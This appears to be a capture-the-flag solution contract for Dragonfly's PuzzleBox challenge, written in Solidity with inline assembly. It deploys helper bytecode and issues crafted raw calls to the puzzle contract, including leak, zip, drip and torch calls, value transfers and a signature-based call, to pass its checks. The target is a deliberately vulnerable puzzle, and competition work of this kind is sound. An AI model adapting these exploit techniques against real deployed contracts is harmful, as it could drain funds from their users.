Dragonfly CTF Solution (Score: 16406)

exp.sol

// by https://twitter.com/publicqi & https://twitter.com/shoucccc

contract PuzzleBoxSolution {
    constructor() payable {}
    fallback() payable external {
        if (msg.data.length > 32) {
            assembly{
                // let x := 0x80
                let target := 0x69209d8a7d258515ec9a4d25f7be1db85cb1b826

                mstore(0x80, 0x6000637159a6188152806004601c827369209d8a7d258515ec9a4d25f7be1db8)
                mstore(0xa0, 0x5cb1b826640000989680f16c6020600080376000806020817f60005233602052)
                mstore(0xc0, 0x7f80f40000000000000000000000000000000000000000000000000000000000)
                mstore(0xe0, 0x00604052602f6013f30000000000000000000000000000000000000000000000)

                let expp := create(0, 0x80, 105)
                mstore(0x80, hex"9e5faafc8fd66f2500919055")
                pop(call(10000000,expp,0,0x80,0x4,0x80,0x0))

                // target.leak();
                pop(call(10000000,target,0,0x84,0x4,0x84,0x0))

                // payable(address(uint160(address(target)) + 2)).transfer(1);
                pop(call(10000000,add(target,2),1,0x80,0x0,0x80,0x0))

                // address(target).call{gas: gasleft()}(abi.encodeWithSelector(PuzzleBox.zip.selector));
                pop(call(10000000,target,0,0x88,0x4,0x88,0x0))

                mstore(0x80, hex"11551052")
                pop(call(0x17ed0,target,0,0x80,0x4,0x84,0x0))

                mstore(0x80, hex"2b071e47")
                mstore(0x84,  hex"0000000000000000000000000000000000000000000000000000000000000040")
                mstore(0xa4,  hex"0000000000000000000000000000000000000000000000000000000000000080")
                mstore(0xc4,  hex"0000000000000000000000000000000000000000000000000000000000000001")
                mstore(0xe4,  hex"000000000000000000000000416e59dacfdb5d457304115bbfb9089531d873b7")
                mstore(0x104, hex"0000000000000000000000000000000000000000000000000000000000000003")
                mstore(0x124, hex"000000000000000000000000c817dd2a5daa8f790677e399170c92aabd044b57")
                mstore(0x144, hex"0000000000000000000000000000000000000000000000000000000000000096")
                mstore(0x164, hex"000000000000000000000000000000000000000000000000000000000000004b")

                pop(call(10000000,target,0,0x80,0x104,0x80,0x0))

                // torch
                mstore(0x80,  hex"925facb100000000000000000000000000000000000000000000000000000000")
                mstore(0xa0,  hex"0000000100000000000000000000000000000000000000000000000000000000")
                mstore(0xc0,  hex"0000000020000000000000000000000000000000000000000000000000000000")
                mstore(0xe0,  hex"0000000006000000000000000000000000000000000000000000000000000000")
                mstore(0x100, hex"0000000002000000000000000000000000000000000000000000000000000000")
                mstore(0x120, hex"0000000004000000000000000000000000000000000000000000000000000000")
                mstore(0x140, hex"0000000006000000000000000000000000000000000000000000000000000000")
                mstore(0x160, hex"0000000007000000000000000000000000000000000000000000000000000000")
                mstore(0x180, hex"0000000008000000000000000000000000000000000000000000000000000000")
                mstore(0x1a0, hex"0000000009")

                pop(call(10000000,target,0,0x80,0x125,0x80,0x0))

                mstore(0x80, hex"58657dcf")
                mstore(0x84, hex"c8f549a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d8")
                mstore(0xa4, hex"0000000000000000000000000000000000000000000000000000000000000040")
                mstore(0xc4, hex"0000000000000000000000000000000000000000000000000000000000000041")
                mstore(0xe4, hex"c8f549a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d8")
                mstore(0x104, hex"9da3468f3d897010503caed5c52689b959fbac09ff6879275a8279feffcc8a62")
                mstore(0x124, hex"1b00000000000000000000000000000000000000000000000000000000000000")

                pop(call(10000000,target,0,0x80,0xc4,0x80,0x0))
            }
        } else {
            assembly {
                let x := calldataload(0)

                switch x 
                case 0x9e5faafc00000000000000000000000000000000000000000000000000000000 {
                    mstore(0x80, hex"deecedd4925facb1000000000000000000000000000000000000000000000000")
                    pop(call(10000000,0x69209d8a7d258515ec9a4d25f7be1db85cb1b826,0,0x80,0x44,0x80,0x0))
                    // target.drip{value: 1000}();
                    mstore(0x80, hex"9f678cca")
                    pop(call(10000000,0x69209d8a7d258515ec9a4d25f7be1db85cb1b826,1000,0x80,0x4,0x80,0x0))
                    pop(call(10000000,caller(),331,0x80,0x0,0x80,0x0))
                }
                case 0x00000000000000000000000000000000000000000000000000000000000000000 {
                    let b := selfbalance()
                    if gt(b, 400) {
                        mstore(0x80, hex"9f678cca") 
                        pop(call(10000000,caller(),101,0x80,0x4,0x80,0x0))
                    }
                }
                default {

                }
            }

        }
    }
}